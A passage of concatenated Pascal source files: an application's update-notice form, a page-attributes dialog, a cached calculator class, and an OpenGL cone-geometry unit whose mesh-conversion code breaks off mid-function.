CbRemindMeLater: TCheckBox;
BtnOk: TButton;
WlDownload: TWebLink;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure BtnOkClick(Sender: TObject);
procedure WlHomePageClick(Sender: TObject);
procedure WlDownloadClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
DownloadURL: string;
FInfo: TUpdateInfo;
procedure LoadLanguage;
protected
function GetFormID: string; override;
procedure CustomFormAfterDisplay; override;
public
{ Public declarations }
procedure Execute(Info: TUpdateInfo);
end;
procedure ShowAvaliableUpdating(Info: TUpdateInfo);
implementation
{$R *.dfm}
procedure ShowAvaliableUpdating(Info: TUpdateInfo);
var
FormInternetUpdating: TFormInternetUpdating;
begin
Application.CreateForm(TFormInternetUpdating, FormInternetUpdating);
FormInternetUpdating.Execute(Info);
end;
{ TFormInternetUpdating }
procedure TFormInternetUpdating.CustomFormAfterDisplay;
begin
inherited;
RedInfo.Refresh;
end;
procedure TFormInternetUpdating.Execute(Info: TUpdateInfo);
begin
FInfo := Info;
if FInfo.ReleaseNotes <> '' then
Caption := FInfo.ReleaseNotes
else
Caption := Format(L('New version is available - %s'), [ReleaseToString(FInfo.Release)]);
RedInfo.Lines.Text := Trim(FInfo.ReleaseText);
RedInfo.SelStart := 0;
DownloadURL := FInfo.UrlToDownload;
Show;
end;
procedure TFormInternetUpdating.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Release;
end;
procedure TFormInternetUpdating.BtnOkClick(Sender: TObject);
begin
if CbRemindMeLater.Checked then
AppSettings.WriteDateTime('Updater', 'LastTime', Now);
Close;
end;
procedure TFormInternetUpdating.WlHomePageClick(Sender: TObject);
begin
DoHomePage;
end;
procedure TFormInternetUpdating.WlDownloadClick(Sender: TObject);
begin
ShellExecute(Handle, 'open', PWideChar(DownloadURL), nil, nil, SW_NORMAL);
Close;
end;
procedure TFormInternetUpdating.FormCreate(Sender: TObject);
begin
LoadLanguage
end;
function TFormInternetUpdating.GetFormID: string;
begin
Result := 'Updates';
end;
procedure TFormInternetUpdating.LoadLanguage;
begin
BeginTranslate;
try
BtnOk.Caption := L('Ok');
WlHomePage.Text := L('Home page');
WlDownload.Text := L('Download now!');
CbRemindMeLater.Caption := L('Remind me later');
finally
EndTranslate;
end;
end;
end.
|
unit PgAttrib;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls, ExtCtrls;
type
TfrmPageAttributes = class(TForm)
PageControl1: TPageControl;
tsBorder: TTabSheet;
pnlButtons: TPanel;
Button1: TButton;
Button2: TButton;
Label1: TLabel;
edPageName: TEdit;
rgPaperType: TRadioGroup;
rgPostcardSize: TRadioGroup;
rgIntegrated: TRadioGroup;
cbArtifactsPage: TCheckBox;
procedure rgPaperTypeClick(Sender: TObject);
procedure edPageNameExit(Sender: TObject);
procedure cbArtifactsPageClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
frmPageAttributes: TfrmPageAttributes;
implementation
{$R *.DFM}
procedure TfrmPageAttributes.rgPaperTypeClick(Sender: TObject);
begin
rgIntegrated.enabled := (rgPaperType.itemindex = 0);
rgPostcardSize.enabled := not (rgPaperType.itemindex = 0);
if (rgIntegrated.enabled) and (rgIntegrated.itemindex = -1) then
rgIntegrated.itemindex := 0;
if rgPostcardSize.enabled and (rgPostcardSize.itemindex = -1) then
rgPostcardSize.itemindex := 0;
end;
procedure TfrmPageAttributes.edPageNameExit(Sender: TObject);
begin
if edpageName.text = '' then begin
messagebeep(0);
messagedlg('The Page Name cannot be empty!',mterror,[mbok],0);
frmPageAttributes.activecontrol := edPageName;
end;
end;
procedure TfrmPageAttributes.cbArtifactsPageClick(Sender: TObject);
begin
if cbArtifactsPage.Checked then
begin
rgPaperType.ItemIndex := 0;
rgPaperType.Enabled := false;
rgIntegrated.ItemIndex := -1;
rgIntegrated.Enabled := false;
rgPostcardSize.ItemIndex := -1;
rgPostcardSize.Enabled := false;
end
else
begin
rgPapertype.Enabled := true;
rgPaperTypeClick(sender);
end;
end;
end.
|
namespace CalculatorLibrary;
interface
type
ICalculator = public interface
method Calculate(const aArgument: Int32): Int64;
end;
// Very simple cached calculator declaration that uses object
// of type ICalculator to perform calculations
CachedCalculator = public sealed class
private
var fCalculator: ICalculator;
var fCache: System.Collections.Generic.IDictionary<Int32,Int64>;
public
constructor(aCalculator: ICalculator);
method Calculate(const aArgument: Int32): Int64;
method ClearCache();
end;
implementation
constructor CachedCalculator(aCalculator: ICalculator);
begin
self.fCalculator := aCalculator;
self.fCache := new System.Collections.Generic.Dictionary<Int32,Int64>();
end;
method CachedCalculator.Calculate(const aArgument: Int32): Int64;
begin
if (self.fCache.ContainsKey(aArgument)) then
exit (self.fCache[aArgument]);
var lMethodResult: Int64 := self.fCalculator.Calculate(aArgument);
self.fCache.Add(aArgument, lMethodResult);
exit (lMethodResult);
end;
method CachedCalculator.ClearCache();
begin
self.fCache.Clear();
end;
end.
|
unit GLDCone;
interface
uses
Classes, GL, GLDTypes, GLDConst, GLDClasses, GLDObjects;
type
TGLDCone = class(TGLDEditableObject)
private
FRadius1: GLfloat;
FRadius2: GLfloat;
FHeight: GLfloat;
FHeightSegs: GLushort;
FCapSegs: GLushort;
FSides: GLushort;
FStartAngle: GLfloat;
FSweepAngle: GLfloat;
FSidePoints: PGLDVector3fArray;
FTopPoints: PGLDVector3fArray;
FBottomPoints: PGLDVector3fArray;
FSideNormals: PGLDVector3fArray;
FTopNormals: PGLDVector3fArray;
FBottomNormals: PGLDVector3fArray;
function GetMode: GLubyte;
function GetSidePoint(i, j: GLushort): PGLDVector3f;
function GetTopPoint(i, j: GLushort): PGLDVector3f;
function GetBottomPoint(i, j: GLushort): PGLDVector3f;
procedure SetRadius1(Value: GLfloat);
procedure SetRadius2(Value: GLfloat);
procedure SetHeight(Value: GLfloat);
procedure SetHeightSegs(Value: GLushort);
procedure SetCapSegs(Value: GLushort);
procedure SetSides(Value: GLushort);
procedure SetStartAngle(Value: GLfloat);
procedure SetSweepAngle(Value: GLfloat);
function GetParams: TGLDConeParams;
procedure SetParams(Value: TGLDConeParams);
protected
procedure CalcBoundingBox; override;
procedure CreateGeometry; override;
procedure DestroyGeometry; override;
procedure DoRender; override;
procedure SimpleRender; override;
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function SysClassType: TGLDSysClassType; override;
class function VisualObjectClassType: TGLDVisualObjectClass; override;
class function RealName: string; override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
function CanConvertTo(_ClassType: TClass): GLboolean; override;
function ConvertTo(Dest: TPersistent): GLboolean; override;
function ConvertToTriMesh(Dest: TPersistent): GLboolean;
function ConvertToQuadMesh(Dest: TPersistent): GLboolean;
function ConvertToPolyMesh(Dest: TPersistent): GLboolean;
property Params: TGLDConeParams read GetParams write SetParams;
published
property BaseRadius: GLfloat read FRadius1 write SetRadius1;
property TopRadius: GLfloat read FRadius2 write SetRadius2;
property Height: GLfloat read FHeight write SetHeight;
property HeightSegs: GLushort read FHeightSegs write SetHeightSegs default GLD_CONE_HEIGHTSEGS_DEFAULT;
property CapSegs: GLushort read FCapSegs write SetCapSegs default GLD_CONE_CAPSEGS_DEFAULT;
property Sides: GLushort read FSides write SetSides default GLD_CONE_SIDES_DEFAULT;
property StartAngle: GLfloat read FStartAngle write SetStartAngle;
property SweepAngle: GLfloat read FSweepAngle write SetSweepAngle;
end;
implementation
uses
SysUtils, GLDGizmos, GLDX, GLDMesh, GLDUtils;
var
vConeCounter: GLuint = 0;
constructor TGLDCone.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
Inc(vConeCounter);
FName := GLD_CONE_STR + IntToStr(vConeCounter);
FRadius1 := GLD_STD_CONEPARAMS.Radius1;
FRadius2 := GLD_STD_CONEPARAMS.Radius2;
FHeight := GLD_STD_CONEPARAMS.Height;
FHeightSegs := GLD_STD_CONEPARAMS.HeightSegs;
FCapSegs := GLD_STD_CONEPARAMS.CapSegs;
FSides := GLD_STD_CONEPARAMS.Sides;
FStartAngle := GLD_STD_CONEPARAMS.StartAngle;
FSweepAngle := GLD_STD_CONEPARAMS.SweepAngle;
FPosition.Vector3f := GLD_STD_CONEPARAMS.Position;
FRotation.Params := GLD_STD_CONEPARAMS.Rotation;
CreateGeometry;
end;
destructor TGLDCone.Destroy;
begin
inherited Destroy;
end;
procedure TGLDCone.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLDCone) then Exit;
inherited Assign(Source);
SetParams(TGLDCone(Source).GetParams);
end;
procedure TGLDCone.DoRender;
var
iSegs, iP: GLushort;
begin
for iSegs := 0 to FHeightSegs - 1 do
begin
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glNormal3fv(@FSideNormals^[iSegs * (FSides + 3) + iP]);
glVertex3fv(@FSidePoints^[iSegs * (FSides + 3) + iP]);
glNormal3fv(@FSideNormals^[(iSegs + 1) * (FSides + 3) + iP]);
glVertex3fv(@FSidePoints^[(iSegs + 1) * (FSides + 3) + iP]);
end;
glEnd;
end;
for iSegs := 0 to FCapSegs - 1 do
begin
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glNormal3fv(@FTopNormals^[iSegs * (FSides + 3) + iP]);
glVertex3fv(@FTopPoints^[iSegs * (FSides + 3) + iP]);
glNormal3fv(@FTopNormals^[(iSegs + 1) * (FSides + 3) + iP]);
glVertex3fv(@FTopPoints^[(iSegs + 1) * (FSides + 3) + iP]);
end;
glEnd;
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glNormal3fv(@FBottomNormals^[(iSegs + 1) * (FSides + 3) + iP]);
glVertex3fv(@FBottomPoints^[(iSegs + 1) * (FSides + 3) + iP]);
glNormal3fv(@FBottomNormals^[iSegs * (FSides + 3) + iP]);
glVertex3fv(@FBottomPoints^[iSegs * (FSides + 3) + iP]);
end;
glEnd;
end;
end;
procedure TGLDCone.SimpleRender;
var
iSegs, iP: GLushort;
begin
for iSegs := 0 to FHeightSegs - 1 do
begin
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glVertex3fv(@FSidePoints^[iSegs * (FSides + 3) + iP]);
glVertex3fv(@FSidePoints^[(iSegs + 1) * (FSides + 3) + iP]);
end;
glEnd;
end;
for iSegs := 0 to FCapSegs - 1 do
begin
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glVertex3fv(@FTopPoints^[iSegs * (FSides + 3) + iP]);
glVertex3fv(@FTopPoints^[(iSegs + 1) * (FSides + 3) + iP]);
end;
glEnd;
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glVertex3fv(@FBottomPoints^[(iSegs + 1) * (FSides + 3) + iP]);
glVertex3fv(@FBottomPoints^[iSegs * (FSides + 3) + iP]);
end;
glEnd;
end;
end;
procedure TGLDCone.CalcBoundingBox;
begin
FBoundingBox := GLDXCalcBoundingBox(
[GLDXVector3fArrayData(FSidePoints, (FSides + 3) * (FHeightSegs + 1)),
GLDXVector3fArrayData(FBottomPoints, (FSides + 3) * (FCapSegs + 1)),
GLDXVector3fArrayData(FTopPoints, (FSides + 3) * (FCapSegs + 1))]);
end;
procedure TGLDCone.CreateGeometry;
var
iSegs, iP: GLushort;
A, R: GLfloat;
N: TGLDVector3f;
begin
if FHeightSegs < 1 then FSides := 1 else
if FHeightSegs > 1000 then FHeightSegs := 1000;
if FCapSegs < 1 then FCapSegs := 1 else
if FCapSegs > 1000 then FCapSegs := 1000;
if FSides < 1 then FSides := 1 else
if FSides > 1000 then FSides := 1000;
ReallocMem(FSidePoints, (FSides + 3) * (FHeightSegs + 1) * SizeOf(TGLDVector3f));
ReallocMem(FSideNormals, (FSides + 3) * (FHeightSegs + 1) * SizeOf(TGLDVector3f));
ReallocMem(FTopPoints, (FSides + 3) * (FCapSegs + 1) * SizeOf(TGLDVector3f));
ReallocMem(FTopNormals, (FSides + 3) * (FCapSegs + 1) * SizeOf(TGLDVector3f));
ReallocMem(FBottomPoints, (FSides + 3) * (FCapSegs + 1) * SizeOf(TGLDVector3f));
ReallocMem(FBottomNormals, (FSides + 3) * (FCapSegs + 1) * SizeOf(TGLDVector3f));
A := GLDXGetAngleStep(FStartAngle, FSweepAngle, FSides);
R := (FRadius1 - FRadius2) / FHeightSegs;
N := GLDXVectorNormalize(GLDXVector3f(FHeight, FRadius1 - FRadius2, 0));
for iSegs := 0 to FHeightSegs do
for iP := 1 to FSides + 3 do
begin
FSidePoints^[iSegs * (FSides + 3) + iP] := GLDXVector3f(
GLDXCoSinus(FStartAngle + (iP - 2) * A) * (FRadius2 + iSegs * R),
(iSegs * -(FHeight / FHeightSegs) + (FHeight / 2)),
-GLDXSinus(FStartAngle + (iP - 2) * A) * (FRadius2 + iSegs * R));
end;
R := FRadius2 / FCapSegs;
for iSegs := 0 to FCapSegs do
for iP := 1 to FSides + 3 do
begin
FTopPoints^[iSegs * (FSides + 3) + iP] := GLDXVector3f(
GLDXCoSinus(FStartAngle + (iP - 2) * A) * iSegs * R,
(FHeight / 2),
-GLDXSinus(FStartAngle + (iP - 2) * A) * iSegs * R);
end;
R := FRadius1 / FCapSegs;
for iSegs := 0 to FCapSegs do
for iP := 1 to FSides + 3 do
begin
FBottomPoints^[iSegs * (FSides + 3) + iP] := GLDXVector3f(
GLDXCoSinus(FStartAngle + (iP - 2) * A) * iSegs * R,
-(FHeight / 2),
-(GLDXSinus(FStartAngle + (iP - 2) * A) * iSegs * R));
end;
FModifyList.ModifyPoints(
[GLDXVector3fArrayData(FSidePoints, (FSides + 3) * (FHeightSegs + 1)),
GLDXVector3fArrayData(FBottomPoints, (FSides + 3) * (FCapSegs + 1)),
GLDXVector3fArrayData(FTopPoints, (FSides + 3) * (FCapSegs + 1))]);
GLDXCalcQuadPatchNormals(GLDXQuadPatchData3f(
GLDXVector3fArrayData(FSidePoints, (FHeightSegs + 1) * (FSides + 3)),
GLDXVector3fArrayData(FSideNormals, (FHeightSegs + 1) * (FSides + 3)),
FHeightSegs, FSides + 2));
GLDXCalcQuadPatchNormals(GLDXQuadPatchData3f(
GLDXVector3fArrayData(FTopPoints, (FCapSegs + 1) * (FSides + 3)),
GLDXVector3fArrayData(FTopNormals, (FCapSegs + 1) * (FSides + 3)),
FCapSegs, FSides + 2));
GLDXCalcQuadPatchNormals(GLDXQuadPatchData3f(
GLDXVector3fArrayData(FBottomPoints, (FCapSegs + 1) * (FSides + 3)),
GLDXVector3fArrayData(FBottomNormals, (FCapSegs + 1) * (FSides + 3)),
FCapSegs, FSides + 2));
for iP := 1 to (FCapSegs + 1) * (FSides + 3) do
FBottomNormals^[iP] := GLDXVectorNeg(FBottomNormals^[iP]);
CalcBoundingBox;
end;
procedure TGLDCone.DestroyGeometry;
begin
if FSidePoints <> nil then ReallocMem(FSidePoints, 0);
if FTopPoints <> nil then ReallocMem(FTopPoints, 0);
if FBottomPoints <> nil then ReallocMem(FBottomPoints, 0);
if FSideNormals <> nil then ReallocMem(FSideNormals, 0);
if FTopNormals <> nil then ReallocMem(FTopNormals, 0);
if FBottomNormals <> nil then ReallocMem(FBottomNormals, 0);
FSidePoints := nil; FTopPoints := nil; FBottomPoints := nil;
FSideNormals := nil; FTopNormals := nil; FBottomNormals := nil;
end;
class function TGLDCone.SysClassType: TGLDSysClassType;
begin
Result := GLD_SYSCLASS_CONE;
end;
class function TGLDCone.VisualObjectClassType: TGLDVisualObjectClass;
begin
Result := TGLDCone;
end;
class function TGLDCone.RealName: string;
begin
Result := GLD_CONE_STR;
end;
procedure TGLDCone.LoadFromStream(Stream: TStream);
begin
inherited LoadFromStream(Stream);
Stream.Read(FRadius1, SizeOf(GLfloat));
Stream.Read(FRadius2, SizeOf(GLfloat));
Stream.Read(FHeight, SizeOf(GLfloat));
Stream.Read(FHeightSegs, SizeOf(GLushort));
Stream.Read(FCapSegs, SizeOf(GLushort));
Stream.Read(FSides, SizeOf(GLushort));
Stream.Read(FStartAngle, SizeOf(GLfloat));
Stream.Read(FSweepAngle, SizeOf(GLfloat));
CreateGeometry;
end;
procedure TGLDCone.SaveToStream(Stream: TStream);
begin
inherited SaveToStream(Stream);
Stream.Write(FRadius1, SizeOf(GLfloat));
Stream.Write(FRadius2, SizeOf(GLfloat));
Stream.Write(FHeight, SizeOf(GLfloat));
Stream.Write(FHeightSegs, SizeOf(GLushort));
Stream.Write(FCapSegs, SizeOf(GLushort));
Stream.Write(FSides, SizeOf(GLushort));
Stream.Write(FStartAngle, SizeOf(GLfloat));
Stream.Write(FSweepAngle, SizeOf(GLfloat));
end;
function TGLDCone.CanConvertTo(_ClassType: TClass): GLboolean;
begin
Result := (_ClassType = TGLDCone) or
(_ClassType = TGLDTriMesh) or
(_ClassType = TGLDQuadMesh) or
(_ClassType = TGLDPolyMesh);
end;
function TGLDCone.ConvertTo(Dest: TPersistent): GLboolean;
begin
Result := False;
if not Assigned(Dest) then Exit;
if Dest.ClassType = Self.ClassType then
begin
Dest.Assign(Self);
Result := True;
end else
if Dest is TGLDTriMesh then
Result := ConvertToTriMesh(Dest) else
if Dest is TGLDQuadMesh then
Result := ConvertToQuadMesh(Dest) else
if Dest is TGLDPolyMesh then
Result := ConvertToPolyMesh(Dest);
end;
{$WARNINGS OFF}
function TGLDCone.ConvertToTriMesh(Dest: TPersistent): GLboolean;
var
M: GLubyte;
Offset: array[1..2] of GLuint;
si, i, j: GLushort;
F: TGLDTriFace;
begin
Result := False;
if not Assigned(Dest) then Exit;
if not (Dest is TGLDTriMesh) then Exit;
M := GetMode;
with TGLDTriMesh(Dest) do
begin
DeleteVertices;
F.Smoothing := GLD_SMOOTH_ALL;
if M = 0 then
begin
VertexCapacity := 1 + FHeightSegs * FSides + 1 + FCapSegs * FSides;
Offset[1] := 1 + FHeightSegs * FSides;
AddVertex(GetSidePoint(1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
AddVertex(GetSidePoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT1;
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
if j = FSides then
F.Point3 := 1 + 1
else F.Point3 := 1 + j + 1;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if HeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * FSides + j;
F.Point2 := 1 + i * FSides + j;
if j = FSides then
F.Point3 := 1 + (i - 1) * FSides + 1
else F.Point3 := 1 + (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := 1 + i * FSides + j;
if j = FSides then
begin
F.Point1 := 1 + (i - 1) * FSides + 1;
F.Point3 := 1 + i * FSides + 1;
end else
begin
F.Point1 := 1 + (i - 1) * FSides + j + 1;
F.Point3 := 1 + i * FSides + j + 1;
end;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
if j = FSides then
F.Point3 := Offset[1] + 2
else F.Point3 := Offset[1] + 2 + j;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + j;
F.Point2 := Offset[1] + 1 + i * FSides + j;
if j = FSides then
F.Point3 := Offset[1] + 1 + (i - 1) * FSides + 1
else F.Point3 := Offset[1] + 1 + (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := Offset[1] + 1 + i * FSides + j;
if j = FSides then
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + 1;
F.Point3 := Offset[1] + 1 + i * FSides + 1;
end else
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + j + 1;
F.Point3 := Offset[1] + 1 + i * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 0
if M = 1 then
begin
VertexCapacity := 1 + FHeightSegs * FSides + 1 + FCapSegs * FSides;
Offset[1] := 1 + FHeightSegs * FSides;
AddVertex(GetSidePoint(FHeightSegs + 1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides do
AddVertex(GetTopPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT2;
for j := 1 to FSides do
begin
F.Point1 := 1 + (FHeightSegs - 1) * FSides + j;
F.Point2 := 1;
if j = FSides then
F.Point3 := 1 + (FHeightSegs - 1) * FSides + 1
else F.Point3 := 1 + (FHeightSegs - 1) * FSides + j + 1;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * FSides + j;
F.Point2 := 1 + i * FSides + j;
if j = FSides then
F.Point3 := 1 + (i - 1) * FSides + 1
else F.Point3 := 1 + (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := 1 + i * FSides + j;
if j = FSides then
begin
F.Point1 := 1 + (i - 1) * FSides + 1;
F.Point3 := 1 + i * FSides + 1;
end else
begin
F.Point1 := 1 + (i - 1) * FSides + j + 1;
F.Point3 := 1 + i * FSides + j + 1;
end;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
if j = FSides then
F.Point3 := Offset[1] + 2
else F.Point3 := Offset[1] + 1 + j + 1;
AddFace(F);
end;
if FCapSegs > 0 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + j;
F.Point2 := Offset[1] + 1 + i * FSides + j;
if j = FSides then
F.Point3 := Offset[1] + 1 + (i - 1) * FSides + 1
else F.Point3 := Offset[1] + 1 + (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := Offset[1] + 1 + i * FSides + j;
if j = FSides then
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + 1;
F.Point3 := Offset[1] + 1 + i * FSides + 1;
end else
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + j + 1;
F.Point3 := Offset[1] + 1 + i * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 1
if M = 2 then
begin
VertexCapacity := (FHeightSegs + 1) * FSides +
2 * (1 + FCapSegs * FSides);
Offset[1] := (FHeightSegs + 1) * FSides;
Offset[2] := Offset[1] + 1 + FCapSegs * FSides;
for i := 1 to FHeightSegs + 1 do
for j := 1 to FSides do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides do
AddVertex(GetTopPoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
begin
F.Point1 := (i - 1) * FSides + j;
F.Point2 := i * FSides + j;
if j = FSides then
F.Point3 := (i - 1) * FSides + 1
else F.Point3 := (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := i * FSides + j;
if j = FSides then
begin
F.Point1 := (i - 1) * FSides + 1;
F.Point3 := i * FSides + 1;
end else
begin
F.Point1 := (i - 1) * FSides + j + 1;
F.Point3 := i * FSides + j + 1;
end;
AddFace(F);
end;
for si := 1 to 2 do
begin
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1;
F.Point2 := Offset[si] + 1 + j;
if j = FSides then
F.Point3 := Offset[si] + 1 + 1
else F.Point3 := Offset[si] + 1 + j + 1;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1 + (i - 1) * FSides + j;
F.Point2 := Offset[si] + 1 + i * FSides + j;
if j = FSides then
F.Point3 := Offset[si] + 1 + (i - 1) * FSides + 1
else F.Point3 := Offset[si] + 1 + (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := Offset[si] + 1 + i * FSides + j;
if j = FSides then
begin
F.Point1 := Offset[si] + 1 + (i - 1) * FSides + 1;
F.Point3 := Offset[si] + 1 + i * FSides + 1;
end else
begin
F.Point1 := Offset[si] + 1 + (i - 1) * FSides + j + 1;
F.Point3 := Offset[si] + 1 + i * FSides + j + 1;
end;
AddFace(F);
end;
end;
end else //M = 2
if M = 3 then
begin
VertexCapacity := 1 + FHeightSegs * (FSides + 1) +
FCapSegs * (FSides + 1);
Offset[1] := 1 + FHeightSegs * (FSides + 1);
AddVertex(GetSidePoint(1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides + 1 downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT1;
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
F.Point3 := 2 + j;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
F.Point1 := 1 + (i - 1) * (FSides + 1) + j + 1;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + i * (FSides + 1) + j + 1;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
F.Point3 := Offset[1] + 1 + j + 1;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := Offset[1] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
F.Point1 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
F.Point2 := Offset[1] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[1] + 1 + i * (FSides + 1) + j + 1;
AddFace(F);
end;
end else //M = 3
if M = 4 then
begin
VertexCapacity := 1 + FHeightSegs * (FSides + 1) +
1 + FCapSegs * (FSides + 1);
Offset[1] := 1 + FHeightSegs * (FSides + 1);
AddVertex(GetSidePoint(FHeightSegs + 1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides + 1 do
AddVertex(GetTopPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT2;
for j := 1 to FSides do
begin
F.Point1 := 1 + (FHeightSegs - 1) * (FSides + 1) + j;
F.Point2 := 1;
F.Point3 := 1 + (FHeightSegs - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
F.Point1 := 1 + (i - 1) * (FSides + 1) + j + 1;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + i * (FSides + 1) + j + 1;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
F.Point3 := Offset[1] + 1 + j + 1;
AddFace(F);
end;
if FCapSegs > 0 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := Offset[1] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
F.Point1 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
F.Point2 := Offset[1] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[1] + 1 + i * (FSides + 1) + j + 1;
AddFace(F);
end;
end else //M = 4
if M = 5 then
begin
VertexCapacity := (FHeightSegs + 1) * (FSides + 1) +
2 * (1 + FCapSegs * (FSides + 1));
Offset[1] := (FHeightSegs + 1) * (FSides + 1);
Offset[2] := Offset[1] + 1 + FCapSegs * (FSides + 1);
for i := 1 to FHeightSegs + 1 do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides + 1 do
AddVertex(GetTopPoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides + 1 downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
begin
